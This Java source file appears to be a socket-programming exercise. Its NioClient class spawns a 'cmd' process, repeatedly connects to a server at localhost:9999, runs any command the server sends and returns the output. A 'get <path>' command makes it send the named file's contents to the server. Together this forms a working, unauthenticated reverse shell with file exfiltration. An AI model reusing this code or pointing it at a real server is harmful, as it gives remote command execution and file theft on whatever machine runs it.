package com.coderside.fragment.socket.nio;

import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.io.OutputStreamWriter;
import java.net.InetAddress;
import java.net.InetSocketAddress;
import java.net.UnknownHostException;
import java.nio.ByteBuffer;
import java.nio.channels.SocketChannel;
import java.nio.charset.Charset;
import java.util.Stack;

public class NioClient {
	private java.lang.Process p; //
	private InputStream is;
	private OutputStream os;

	private BufferedWriter bw;

	// Charset and decoder for US-ASCII
	private Charset charset = Charset.forName("UTF-8");

	// Direct byte buffer for reading
	private ByteBuffer dbuf = ByteBuffer.allocateDirect(1024);

	public NioClient() {
		initProcess();
	}

	private void initProcess() {
		try {
			p = Runtime.getRuntime().exec("cmd");
			os = p.getOutputStream();
			is = p.getInputStream();
		} catch (IOException e) {
			System.err.println(e.getMessage());
		}
	}

	public void redo() {
		initProcess();
	}

	public void exec(String command) {
		try {
			bw = new BufferedWriter(new OutputStreamWriter(os));
			bw.write(command);
			bw.newLine();
			bw.flush();
			bw.close();
		} catch (Exception e) {
			e.printStackTrace();
		}
	}

	private void writeMimeType(SocketChannel channel, String type) throws NumberFormatException, IOException {
		ByteBuffer bf = ByteBuffer.allocate(1);
		bf.put(Byte.parseByte(type));
		channel.write(bf);
	}

	private final String textMimeType = "0";

	public void flushOut(SocketChannel channel) {
		byte[] b = new byte[1024 * 10];
		int len = 0;
		ByteBuffer bf = ByteBuffer.allocate(1024 * 10);
		try {
			writeMimeType(channel, textMimeType);
			while ((len = is.read(b)) != -1) {
				bf.clear();
				if (len < b.length) {
					byte[] b2 = new byte[len];
					System.arraycopy(b, 0, b2, 0, len);
					bf.put(b2);
					bf.flip();
					channel.write(bf);
				} else {
					bf.put(b);
					bf.flip();
					channel.write(bf);
				}
			}
			p.waitFor();
		} catch (Exception e) {
			e.printStackTrace();
		}
	}

	private final String zipMimeType = "1";

	public void flushZipOut(SocketChannel channel, InputStream ins) {
		byte[] b = new byte[1024 * 10];
		int len = 0;
		ByteBuffer bf = ByteBuffer.allocate(1024 * 10);
		try {
			writeMimeType(channel, zipMimeType);
			while ((len = ins.read(b)) != -1) {
				bf.clear();
				if (len < b.length) {
					byte[] b2 = new byte[len];
					System.arraycopy(b, 0, b2, 0, len);
					bf.put(b2);
					channel.write(bf);
				} else {
					bf.put(b);
					channel.write(bf);
				}
			}
			p.waitFor();
		} catch (Exception e) {
			e.printStackTrace();
		} finally {
			if (null != ins) {
				try {
					ins.close();
				} catch (IOException e) {
					e.printStackTrace();
				}

			}
		}
	}

	class StreamConnector extends Thread {

		private Stack<String> cmdList;

		public StreamConnector() {
			cmdList = new Stack<String>();
			cmdList.push("ls");
		}

		public void run() {
			try {
				ByteBuffer buffer = ByteBuffer.allocate(1024);// 创建1024字节的缓冲
				InetSocketAddress isa = new InetSocketAddress(InetAddress.getByName("localhost"), 9999);
				SocketChannel sc = null;
				boolean isZip = false;
				while (true) {
					try {
						sc = SocketChannel.open();
						sc.connect(isa);
						redo();
						if (!isZip) {
							exec(cmdList.pop());
							flushOut(sc);
						} else {
							String filePath = cmdList.pop();
							File file = new File(filePath);
							if (!file.exists()) {
								file = new File("./" + filePath);
							}
							FileInputStream fis = new FileInputStream(file);
							flushZipOut(sc, fis);
						}

						sc.read(buffer);
						buffer.flip();// flip方法在读缓冲区字节操作之前调用。
						String instext = new String(buffer.array()).trim();
						buffer.clear();
						if (instext.startsWith("get")) {
							isZip = true;
							cmdList.push(instext.substring(4, instext.length()));
						} else {
							isZip = false;
							cmdList.push(instext);
						}
					} finally {
						if (sc != null)
							sc.close();
					}
				}

			} catch (UnknownHostException e) {
				e.printStackTrace();
			} catch (IOException e) {
				e.printStackTrace();
			}
		}

		private String readInputStream(InputStream is) throws IOException {

			BufferedReader br = new BufferedReader(new InputStreamReader(is));
			String temp = null;
			StringBuffer subff = new StringBuffer();
			while ((temp = br.readLine()) != null) {
				subff.append(temp.trim());
			}
			return subff.toString();
		}

	}

	// Ask the given host what time it is
	//
	private void send(String host, int port) throws IOException {
		byte inBuffer[] = new byte[100];
		ByteBuffer buffer = ByteBuffer.allocate(1024);// 创建1024字节的缓冲
		InetSocketAddress isa = new InetSocketAddress(InetAddress.getByName(host), port);
		SocketChannel sc = null;
		while (true) {
			try {
				System.in.read(inBuffer);
				sc = SocketChannel.open();
				sc.connect(isa);
				dbuf.clear();
				dbuf.put(inBuffer);
				dbuf.flip();
				sc.write(dbuf);
				sc.read(buffer);
				buffer.flip();// flip方法在读缓冲区字节操作之前调用。
				System.out.println(charset.decode(buffer));
				// 使用Charset.decode方法将字节转换为字符串
				buffer.clear();// 清空缓冲
				dbuf.clear();
			} finally {
				if (sc != null)
					sc.close();
			}
		}
	}

	public static void main(String[] args) throws IOException {
		try {

			NioClient cmd = new NioClient();
			StreamConnector streamConnector = cmd.new StreamConnector();
			streamConnector.start();
		} catch (Exception e) {
			e.printStackTrace();
		}
	}
}
